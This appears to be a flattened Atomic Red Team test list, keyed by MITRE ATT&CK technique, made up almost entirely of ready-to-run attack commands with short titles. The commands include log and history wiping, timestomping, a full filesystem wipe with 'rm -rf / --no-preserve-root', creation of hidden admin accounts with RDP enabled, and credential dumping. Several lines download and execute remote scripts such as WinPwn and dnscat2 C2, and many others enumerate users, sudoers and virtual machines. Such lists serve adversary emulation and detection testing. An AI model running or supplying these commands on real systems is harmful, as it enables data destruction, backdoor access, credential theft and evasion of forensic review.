T1070.003 - Indicator Removal on Host: Clear Command History

Prevent Powershell History Logging

Set-PSReadlineOption -HistorySaveStyle SaveNothing

T1070.003 - Indicator Removal on Host: Clear Command History

Clear Powershell History by Deleting History File

Remove-Item (Get-PSReadlineOption).HistorySavePath

T1070.003 - Indicator Removal on Host: Clear Command History

Set Custom AddToHistoryHandler to Avoid History File Logging

Set-PSReadLineOption -AddToHistoryHandler { return $false }

T1070.003 - Indicator Removal on Host: Clear Command History

Clear PowerShell Session History

Clear-History

T1070.004 - Indicator Removal on Host: File Deletion

Delete a single file - FreeBSD/Linux/macOS

rm -f /tmp/victim-files/T1070.004-test.txt

T1070.004 - Indicator Removal on Host: File Deletion

Delete an entire folder - FreeBSD/Linux/macOS

rm -rf /tmp/victim-folder

T1070.004 - Indicator Removal on Host: File Deletion

Overwrite and delete a file with shred

shred -u /tmp/victim-shred.txt

T1070.004 - Indicator Removal on Host: File Deletion

Delete a single file - Windows cmd

del /f %temp%\deleteme_T1551.004

T1070.004 - Indicator Removal on Host: File Deletion

Delete an entire folder - Windows cmd

rmdir /s /q %temp%\deleteme_T1551.004

T1070.004 - Indicator Removal on Host: File Deletion

Delete a single file - Windows PowerShell

Remove-Item -path $env:TEMP\deleteme_T1551.004

T1070.004 - Indicator Removal on Host: File Deletion

Delete an entire folder - Windows PowerShell

Remove-Item -Path $env:TEMP\deleteme_folder_T1551.004 -Recurse

T1070.004 - Indicator Removal on Host: File Deletion

Delete Filesystem - Linux

[ "$(uname)" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null

T1070.004 - Indicator Removal on Host: File Deletion

Delete Prefetch File

Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])

T1070.004 - Indicator Removal on Host: File Deletion

Delete TeamViewer Log Files

New-Item -Path $env:TEMP\TeamViewer_54.log -Force | Out-Null
Remove-Item $env:TEMP\TeamViewer_54.log -Force -ErrorAction Ignore

T1070.004 - Indicator Removal on Host: File Deletion

Clears Recycle bin via rd

rd /s /q %systemdrive%\$RECYCLE.BIN

T1070.005 - Indicator Removal on Host: Network Share Connection Removal

Add Network Share

net use c: \\test\share
net share test=\\test\share /REMARK:"test share" /CACHE:No

T1070.005 - Indicator Removal on Host: Network Share Connection Removal

Remove Network Share

net share \\test\share /delete

T1070.005 - Indicator Removal on Host: Network Share Connection Removal

Remove Network Share PowerShell

Remove-SmbShare -Name \\test\share
Remove-FileShare -Name \\test\share

T1070.005 - Indicator Removal on Host: Network Share Connection Removal

Disable Administrative Share Creation at Startup

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f

T1070.005 - Indicator Removal on Host: Network Share Connection Removal

Remove Administrative Shares

for %i in (C$ IPC$ ADMIN$) do net share %i /delete

T1070.006 - Indicator Removal on Host: Timestomp

Set a file's access timestamp

touch -a -t 197001010000.00 /tmp/T1070.006-access.txt

T1070.006 - Indicator Removal on Host: Timestomp

Set a file's modification timestamp

touch -m -t 197001010000.00 /tmp/T1070.006-modification.txt

T1070.006 - Indicator Removal on Host: Timestomp

Set a file's creation timestamp

NOW=$(date +%m%d%H%M%Y)
date 010100001971
touch /tmp/T1070.006-creation.txt
date "$NOW"
stat /tmp/T1070.006-creation.txt

T1070.006 - Indicator Removal on Host: Timestomp

Modify file timestamps using reference file

touch /tmp/T1070.006-reference.txt
touch -acmr /bin/sh /tmp/T1070.006-reference.txt

T1070.006 - Indicator Removal on Host: Timestomp

Windows - Modify file creation timestamp with PowerShell

Get-ChildItem "..\ExternalPayloads\T1551.006_timestomp.txt" | % { $_.CreationTime = "01/01/1970 00:00:00" }

T1070.006 - Indicator Removal on Host: Timestomp

Windows - Modify file last modified timestamp with PowerShell

Get-ChildItem "..\ExternalPayloads\T1551.006_timestomp.txt" | % { $_.LastWriteTime = "01/01/1970 00:00:00" }

T1070.006 - Indicator Removal on Host: Timestomp

Windows - Modify file last access timestamp with PowerShell

Get-ChildItem "..\ExternalPayloads\T1551.006_timestomp.txt" | % { $_.LastAccessTime = "01/01/1970 00:00:00" }

T1070.006 - Indicator Removal on Host: Timestomp

Windows - Timestomp a File

import-module "..\ExternalPayloads\timestomp.ps1"
timestomp -dest "..\ExternalPayloads\kxwn.lock"

T1070.006 - Indicator Removal on Host: Timestomp

MacOS - Timestomp Date Modified

SetFile -m 01/01/1970 /tmp/T1070.006-modified.txt

T1070.006 - Indicator Removal on Host: Timestomp

Event Log Manipulations- Time slipping via Powershell

try{
Set-Date -Date (Get-Date).AddDays(3)
Add-Content "$env:APPDATA\slipDays.bak" 3
}
catch {exit 1}

T1070.008 - Email Collection: Mailbox Manipulation

Copy and Delete Mailbox Data on Windows

New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore

T1070.008 - Email Collection: Mailbox Manipulation

Copy and Delete Mailbox Data on Linux

mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*

T1070.008 - Email Collection: Mailbox Manipulation

Copy and Delete Mailbox Data on macOS

mkdir ~/Library/Mail/copy
cp -R ~/Library/Mail/* ~/Library/Mail/copy
rm -rf ~/Library/Mail/copy/*

T1070.008 - Email Collection: Mailbox Manipulation

Copy and Modify Mailbox Data on Windows

New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -File | ForEach-Object { Add-Content -Path $_.FullName -Value "Modification for Atomic Red Test" -ErrorAction Ignore }

T1070.008 - Email Collection: Mailbox Manipulation

Copy and Modify Mailbox Data on Linux

mkdir -p /var/spool/mail/copy; for file in /var/spool/mail/*; do if [ "$(basename "$file")" != "copy" ]; then cp -R "$file" /var/spool/mail/copy/; if [ -f "/var/spool/mail/copy/$(basename "$file")" ]; then echo "Modification for Atomic Red Test" >> "/var/spool/mail/copy/$(basename "$file")"; fi; fi; done

T1070.008 - Email Collection: Mailbox Manipulation

Copy and Modify Mailbox Data on macOS

mkdir ~/Library/Mail/copy
cp -R ~/Library/Mail/* ~/Library/Mail/copy
echo "Manipulated data" > ~/Library/Mail/copy/manipulated.txt

T1070 - Indicator Removal on Host

Indicator Removal using FSUtil

fsutil usn deletejournal /D C:

T1070 - Indicator Removal on Host

Indicator Manipulation using FSUtil

if (-not (Test-Path "..\ExternalPayloads\T1070-2.txt")) { New-Item "..\ExternalPayloads\T1070-2.txt" -Force }
echo "1234567890" > "..\ExternalPayloads\T1070-2.txt"
fsutil file setZeroData offset=0 length=10 "..\ExternalPayloads\T1070-2.txt"

T1071.001 - Application Layer Protocol: Web Protocols

Malicious User Agents - Powershell

Invoke-WebRequest www.google.com -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest www.google.com -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest www.google.com -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest www.google.com -UserAgent "*<|>*" | out-null

T1071.001 - Application Layer Protocol: Web Protocols

Malicious User Agents - CMD

C:\Windows\System32\Curl.exe -s -A "HttpBrowser/1.0" -m3 www.google.com >nul 2>&1
C:\Windows\System32\Curl.exe -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 www.google.com >nul 2>&1
C:\Windows\System32\Curl.exe -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 www.google.com >nul 2>&1
C:\Windows\System32\Curl.exe -s -A "*<|>*" -m3 www.google.com >nul 2>&1

T1071.001 - Application Layer Protocol: Web Protocols

Malicious User Agents - Nix

curl -s -A "HttpBrowser/1.0" -m3 www.google.com
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 www.google.com
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 www.google.com
curl -s -A "*<|>*" -m3 www.google.com

T1071.004 - Application Layer Protocol: DNS

DNS Large Query Volume

for($i=0; $i -le 1000; $i++) { Resolve-DnsName -type "TXT" "atomicredteam-$(Get-Random -Minimum 1 -Maximum 999999).127.0.0.1.nip.io" -QuickTimeout}

T1071.004 - Application Layer Protocol: DNS

DNS Regular Beaconing

Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-beacon.ps1 -Domain 127.0.0.1.nip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30

T1071.004 - Application Layer Protocol: DNS

DNS Long Domain Query

Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-domain-length.ps1 -Domain 127.0.0.1.nip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT

T1071.004 - Application Layer Protocol: DNS

DNS C2

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain example.com -DNSServer 127.0.0.1

T1071 - Application Layer Protocol

Telnet C2

T1071\bin\telnet_client.exe 127.0.0.1 --port 23

T1072 - Software Deployment Tools

Radmin Viewer Utility

"%PROGRAMFILES(x86)%/Radmin Viewer 3/Radmin.exe"

T1072 - Software Deployment Tools

PDQ Deploy RAT

"%PROGRAMFILES(x86)%/Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe"

T1072 - Software Deployment Tools

Deploy 7-Zip Using Chocolatey

# Deploy 7-Zip using Chocolatey
choco install -y 7zip

T1074.001 - Data Staged: Local Data Staging

Stage data from Discovery.bat

Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile $env:TEMP\discovery.bat

T1074.001 - Data Staged: Local Data Staging

Stage data from Discovery.sh

curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > /tmp/T1074.001_discovery.log

T1074.001 - Data Staged: Local Data Staging

Zip a Folder with PowerShell for Staging in Temp

Compress-Archive -Path "T1074.001\bin\Folder_to_zip" -DestinationPath $env:TEMP\Folder_to_zip.zip -Force

T1078.001 - Valid Accounts: Default Accounts

Enable Guest account with RDP capability and admin privileges

net user guest /active:yes
net user guest Password123!
net localgroup Administrators guest /add
net localgroup "Remote Desktop Users" guest /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

T1078.001 - Valid Accounts: Default Accounts

Activate Guest Account

net user guest /active:yes

T1078.001 - Valid Accounts: Default Accounts

Enable Guest Account on macOS

sudo sysadminctl -guestAccount on

T1078.003 - Valid Accounts: Local Accounts

Create local account with admin privileges

net user art-test /add
net user art-test -4RTisCool!-321
net localgroup administrators art-test /add

T1078.003 - Valid Accounts: Local Accounts

Create local account with admin privileges - MacOS

dscl . -create /Users/AtomicUser
dscl . -create /Users/AtomicUser UserShell /bin/bash
dscl . -create /Users/AtomicUser RealName "Atomic User"
dscl . -create /Users/AtomicUser UniqueID 503
dscl . -create /Users/AtomicUser PrimaryGroupID 503
dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
dscl . -passwd /Users/AtomicUser mySecretPassword
dscl . -append /Groups/admin GroupMembership AtomicUser

T1078.003 - Valid Accounts: Local Accounts

Create local account with admin privileges using sysadminctl utility - MacOS

sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin

T1078.003 - Valid Accounts: Local Accounts

Enable root account using dsenableroot utility - MacOS

dsenableroot #current user
dsenableroot -u art-tester -p art-tester -r art-root #new user

T1078.003 - Valid Accounts: Local Accounts

Add a new/existing user to the admin group using dseditgroup utility - macOS

dseditgroup -o edit -a art-user -t user admin

T1078.003 - Valid Accounts: Local Accounts

WinPwn - Loot local Credentials - powerhell kittie

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
obfuskittiedump -consoleoutput -noninteractive

T1078.003 - Valid Accounts: Local Accounts

WinPwn - Loot local Credentials - Safetykatz

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
safedump -consoleoutput -noninteractive

T1078.003 - Valid Accounts: Local Accounts

Create local account (Linux)

password=$(openssl passwd -1 art)
([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))
su art -c "whoami; exit"

T1078.003 - Valid Accounts: Local Accounts

Reactivate a locked/expired account (Linux)

useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
usermod --lock art
usermod --expiredate "1" art
usermod --unlock art
usermod --expiredate "99999" art
su -c whoami art

T1078.003 - Valid Accounts: Local Accounts

Reactivate a locked/expired account (FreeBSD)

pw useradd art -g wheel -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
pw lock art
pw usermod art -e +1d
pw unlock art
pw user mod art -e +99d
su art
whoami
exit

T1078.003 - Valid Accounts: Local Accounts

Login as nobody (Linux)

cat /etc/passwd |grep nobody
chsh --shell /bin/bash nobody
usermod --password $(openssl passwd -1 nobody) nobody
su -c "whoami" nobody

T1078.003 - Valid Accounts: Local Accounts

Login as nobody (freebsd)

cat /etc/passwd |grep nobody
pw usermod nobody -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user nobody -h 0
su nobody
whoami
exit

T1078.003 - Valid Accounts: Local Accounts

Use PsExec to elevate to NT Authority\SYSTEM account

"..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami

T1078.004 - Valid Accounts: Cloud Accounts

Creating GCP Service Account and Service Account Key

gcloud config set project art-project-1
gcloud iam service-accounts create gcp-art-service-account-1
gcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com

T1078.004 - Valid Accounts: Cloud Accounts

Azure Persistence Automation Runbook Created or Modified

New-AzAutomationRunbook -Name ART-RunbookName-T1078-004 -Type PowerShell -ResourceGroupName ART-ResourceGroupName-T1078-004 -Description 'my-test-runbook' -AutomationAccountName ART-AutomationAccountName-T1078-004

T1078.004 - Valid Accounts: Cloud Accounts

GCP - Create Custom IAM Role

gcloud config set project atomic-test-1
gcloud iam roles create AtomicRedTeamRole --description="Atomic Red Team Custom IAM Role" --permissions=iam.serviceAccounts.get --project=atomic-test-1

T1082 - System Information Discovery

System Information Discovery

systeminfo
reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum

T1082 - System Information Discovery

System Information Discovery

system_profiler
ls -al /Applications

T1082 - System Information Discovery

List OS Information

uname -a >> /tmp/T1082.txt
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> /tmp/T1082.txt; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> /tmp/T1082.txt; fi
if [ -f /etc/issue ]; then cat /etc/issue >> /tmp/T1082.txt; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> /tmp/T1082.txt; fi
uptime >> /tmp/T1082.txt
cat /tmp/T1082.txt 2>/dev/null

T1082 - System Information Discovery

Linux VM Check via Hardware

if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi
if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi
if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi
if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi
if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi
if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi
if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi
if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi

T1082 - System Information Discovery

Linux VM Check via Kernel Modules

sudo lsmod | grep -i "vboxsf\|vboxguest"
sudo lsmod | grep -i "vmw_baloon\|vmxnet"
sudo lsmod | grep -i "xen-vbd\|xen-vnif"
sudo lsmod | grep -i "virtio_pci\|virtio_net"
sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"

T1082 - System Information Discovery

FreeBSD VM Check via Kernel Modules

kldstat | grep -i "vmm"
kldstat | grep -i "vbox"

T1082 - System Information Discovery

Hostname Discovery (Windows)

hostname

T1082 - System Information Discovery

Hostname Discovery

hostname

T1082 - System Information Discovery

Windows MachineGUID Discovery

REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid

T1082 - System Information Discovery

Griffon Recon

cscript "T1082\src\griffon_recon.vbs"

T1082 - System Information Discovery

Environment variables discovery on windows

set

T1082 - System Information Discovery

Environment variables discovery on freebsd, macos and linux

env

T1082 - System Information Discovery

Show System Integrity Protection status (MacOS)

csrutil status

T1082 - System Information Discovery

WinPwn - winPEAS

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput

T1082 - System Information Discovery

WinPwn - itm4nprivesc

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput

T1082 - System Information Discovery

WinPwn - Powersploits privesc checks

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput

T1082 - System Information Discovery

WinPwn - General privesc checks

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput

T1082 - System Information Discovery

WinPwn - GeneralRecon

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive

T1082 - System Information Discovery

WinPwn - Morerecon

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput

T1082 - System Information Discovery

WinPwn - RBCD-Check

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive

T1082 - System Information Discovery

WinPwn - PowerSharpPack - Watson searching for missing windows patches

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson

T1082 - System Information Discovery

WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"

T1082 - System Information Discovery

WinPwn - PowerSharpPack - Seatbelt

$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"

T1082 - System Information Discovery

Azure Security Scan with SkyArk

Import-Module "..\ExternalPayloads\AzureStealth.ps1" -force
$Password = ConvertTo-SecureString -String "T1082Az" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "None", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred

T1082 - System Information Discovery

Linux List Kernel Modules

lsmod
kmod list
grep vmw /proc/modules

T1082 - System Information Discovery

FreeBSD List Kernel Modules

kldstat
kldstat | grep vmm

T1082 - System Information Discovery

System Information Discovery with WMIC

wmic cpu get name
wmic MEMPHYSICAL get MaxCapacity
wmic baseboard get product
wmic baseboard get version
wmic bios get SMBIOSBIOSVersion
wmic path win32_VideoController get name
wmic path win32_VideoController get DriverVersion
wmic path win32_VideoController get VideoModeDescription
wmic OS get Caption,OSArchitecture,Version
wmic DISKDRIVE get Caption
Get-WmiObject win32_bios

T1082 - System Information Discovery

System Information Discovery

wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs

T1082 - System Information Discovery

Check computer location

reg query "HKEY_CURRENT_USER\Control Panel\International\Geo"

T1082 - System Information Discovery

BIOS Information Discovery through Registry

reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v SystemBiosVersion
reg query HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System /v VideoBiosVersion

T1082 - System Information Discovery

ESXi - VM Discovery using ESXCLI

echo "" | "..\ExternalPayloads\plink.exe" "atomic.local" -ssh -l "root" -pw "pass" -m "T1082\src\esx_vmdiscovery.txt"

T1082 - System Information Discovery

ESXi - Darkside system information discovery

echo "" | "..\ExternalPayloads\plink.exe" "atomic.local" -ssh -l "root" -pw "pass" -m "T1082\src\esx_darkside_discovery.txt"

T1082 - System Information Discovery

sysctl to gather macOS hardware info

sysctl -n hw.model

T1082 - System Information Discovery

operating system discovery

Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null

T1082 - System Information Discovery

Check OS version via "ver" command

ver

T1082 - System Information Discovery

Display volume shadow copies with "vssadmin"

vssadmin.exe list shadows

T1082 - System Information Discovery

Identify System Locale and Regional Settings with PowerShell

powershell.exe -c "Get-Culture | Format-List | Out-File -FilePath %TMP%\a.txt"

T1082 - System Information Discovery

Enumerate Available Drives via gdr

powershell.exe -c "gdr -PSProvider 'FileSystem'"

T1082 - System Information Discovery

Discover OS Product Name via Registry

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName

T1082 - System Information Discovery

Discover OS Build Number via Registry

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuildNumber

T1083 - File and Directory Discovery

File and Directory Discovery (cmd.exe)

dir /s c:\ >> %temp%\T1083Test1.txt
dir /s "c:\Documents and Settings" >> %temp%\T1083Test1.txt
dir /s "c:\Program Files\" >> %temp%\T1083Test1.txt
dir "%systemdrive%\Users\*.*" >> %temp%\T1083Test1.txt
dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\T1083Test1.txt
dir "%userprofile%\Desktop\*.*" >> %temp%\T1083Test1.txt
tree /F >> %temp%\T1083Test1.txt

T1083 - File and Directory Discovery

File and Directory Discovery (PowerShell)

ls -recurse
get-childitem -recurse
gci -recurse

T1083 - File and Directory Discovery

Nix File and Directory Discovery

ls -a >> /tmp/T1083.txt
if [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > /tmp/T1083.txt; fi;
file */* *>> /tmp/T1083.txt
cat /tmp/T1083.txt 2>/dev/null
find . -type f
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
locate *
which sh

T1083 - File and Directory Discovery

Nix File and Directory Discovery 2

cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > /tmp/T1083.txt
if [ -f /etc/mtab ]; then cat /etc/mtab >> /tmp/T1083.txt; fi;
find . -type f -iname *.pdf >> /tmp/T1083.txt
cat /tmp/T1083.txt
find . -type f -name ".*"

T1083 - File and Directory Discovery

Simulating MAZE Directory Enumeration

$folderarray = @("Desktop", "Downloads", "Documents", "AppData/Local", "AppData/Roaming")
Get-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append $env:temp\T1083Test5.txt
Get-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append $env:temp\T1083Test5.txt
Get-ChildItem -Path "${env:ProgramFiles(x86)}" -erroraction silentlycontinue | Out-File -append $env:temp\T1083Test5.txt
$UsersFolder = "$env:homedrive\Users\"
foreach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue)
{
foreach ($secondarydirectory in $folderarray)
{Get-ChildItem -Path "$UsersFolder/$directory/$secondarydirectory" -ErrorAction SilentlyContinue | Out-File -append $env:temp\T1083Test5.txt}
}
cat $env:temp\T1083Test5.txt

T1083 - File and Directory Discovery

Launch DirLister Executable

Start-Process "..\ExternalPayloads\DirLister.exe"
Start-Sleep -Second 4
Stop-Process -Name "DirLister"

T1083 - File and Directory Discovery

ESXi - Enumerate VMDKs available on an ESXi Host

echo "" | "..\ExternalPayloads\plink.exe" "atomic.local" -ssh -l "root" -pw "pass" -m "T1083\src\esxi_file_discovery.txt"

T1083 - File and Directory Discovery

Identifying Network Shares - Linux

findmnt -t nfs

T1087.001 - Account Discovery: Local Account

Enumerate all accounts (Local)

cat /etc/passwd > /tmp/T1087.001.txt
cat /tmp/T1087.001.txt

T1087.001 - Account Discovery: Local Account

View sudoers access

if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > /tmp/T1087.001.txt; fi;
if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > /tmp/T1087.001.txt; fi;
cat /tmp/T1087.001.txt

T1087.001 - Account Discovery: Local Account

View accounts with UID 0

grep 'x:0:' /etc/passwd > /tmp/T1087.001.txt
grep '*:0:' /etc/passwd >> /tmp/T1087.001.txt
cat /tmp/T1087.001.txt 2>/dev/null

T1087.001 - Account Discovery: Local Account

List opened files by user

username=$(id -u -n) && lsof -u $username

T1087.001 - Account Discovery: Local Account

Show if a user account has ever logged in remotely

[ "$(uname)" = 'FreeBSD' ] && cmd="lastlogin" || cmd="lastlog"
$cmd > /tmp/T1087.001.txt
cat /tmp/T1087.001.txt

T1087.001 - Account Discovery: Local Account

Enumerate users and groups

groups
id

T1087.001 - Account Discovery: Local Account

Enumerate users and groups

dscl . list /Groups
dscl . list /Users
dscl . list /Users | grep -v '_'
dscacheutil -q group
dscacheutil -q user

T1087.001 - Account Discovery: Local Account

Enumerate all accounts on Windows (Local)

net user
dir c:\Users\
cmdkey.exe /list
net localgroup "Users"
net localgroup

T1087.001 - Account Discovery: Local Account

Enumerate all accounts via PowerShell (Local)

net user
get-localuser
get-localgroupmember -group Users
cmdkey.exe /list
ls C:/Users
get-childitem C:\Users\
dir C:\Users\
get-localgroup
net localgroup

T1087.001 - Account Discovery: Local Account

Enumerate logged on users via CMD (Local)

query user

T1087.001 - Account Discovery: Local Account

ESXi - Local Account Discovery via ESXCLI

echo "" | "..\ExternalPayloads\plink.exe" -batch "atomic.local" -ssh -l root -pw "password" "esxcli system account list"

T1087.002 - Account Discovery: Domain Account

